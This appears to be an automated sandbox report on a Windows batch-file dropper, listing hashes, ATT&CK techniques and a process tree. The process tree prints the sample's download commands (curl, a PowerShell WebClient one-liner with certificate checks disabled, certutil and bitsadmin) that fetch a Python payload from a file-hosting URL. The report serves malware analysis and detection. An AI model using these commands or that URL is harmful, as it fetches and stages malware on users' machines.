c5ad37508e14c8591e23210e58202b75491888a9bc24a39d35dcf2edae04d002

Analysis

user interaction
yes
max time kernel
148s
max time network
82s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 10:35

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General

Target
run_freakspan.bat
Size 2KB
Sample260922-mmscvacb69
SHA256 c5ad37508e14c8591e23210e58202b75491888a9bc24a39d35dcf2edae04d002
MD5 c1a94c79993a20c536a347de3d4b9aed
SHA1 d15115ec746b4f650f9ced201b3ea085e97a15fe
SHA512 617bcd85438e8f87060e9b35f768cfa800901175c054917642f9e380cda5a9bd04b362851ff180fd0af96b1abc470f87771a96d6e3e94b82b0e1190b9dabb719
TLSH
T11651750F5AB826DA6845E3F8239CA300631C218B7D293DC821D7D539FD855DF96FD142
MD5 SHA1 SHA512 TLSH

Score

10^/10

dropper execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://files.catbox.moe/3wgbte.py

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	1364	powershell.exe
5	1364	powershell.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
5780	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1364	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5836	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1364	powershell.exe
1364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1364	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5836 wrote to memory of 3364	5836	cmd.exe	90
PID 3364 wrote to memory of 5412	3364	net.exe	91
PID 5836 wrote to memory of 4408	5836	cmd.exe	92
PID 5836 wrote to memory of 1364	5836	cmd.exe	93
PID 5836 wrote to memory of 2640	5836	cmd.exe	96
PID 5836 wrote to memory of 5780	5836	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\run_freakspan.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5836
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5412
- C:\Windows\system32\curl.exe
  curl.exe --tlsv1.2 --ssl-no-revoke --insecure --retry 2 -L --fail --silent --show-error -o "C:\Users\Admin\AppData\Roaming\FreakSpan\file.py" "https://files.catbox.moe/3wgbte.py"
  2⤵
  PID:4408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::Expect100Continue=$false; $wc=New-Object Net.WebClient; $wc.DownloadFile('https://files.catbox.moe/3wgbte.py','C:\Users\Admin\AppData\Roaming\FreakSpan\file.py')"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\system32\certutil.exe
  certutil -urlcache -split -f "https://files.catbox.moe/3wgbte.py" "C:\Users\Admin\AppData\Roaming\FreakSpan\file.py"
  2⤵
  PID:2640
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer "FreakSpanDownload" /download /priority normal "https://files.catbox.moe/3wgbte.py" "C:\Users\Admin\AppData\Roaming\FreakSpan\file.py"
  2⤵
  - Download via BitsAdmin
  PID:5780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ubzznv3j.ke4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ubzznv3j.ke4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1364-11-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-2-0x00000246DDB30000-0x00000246DDB52000-memory.dmp

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memory/1364-8-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-1-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-9-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-0-0x00007FF9074FF000-0x00007FF907500000-memory.dmp

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memory/1364-12-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-13-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-14-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-15-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-16-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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memory/1364-18-0x00007FF907370000-0x00007FF907D14000-memory.dmp

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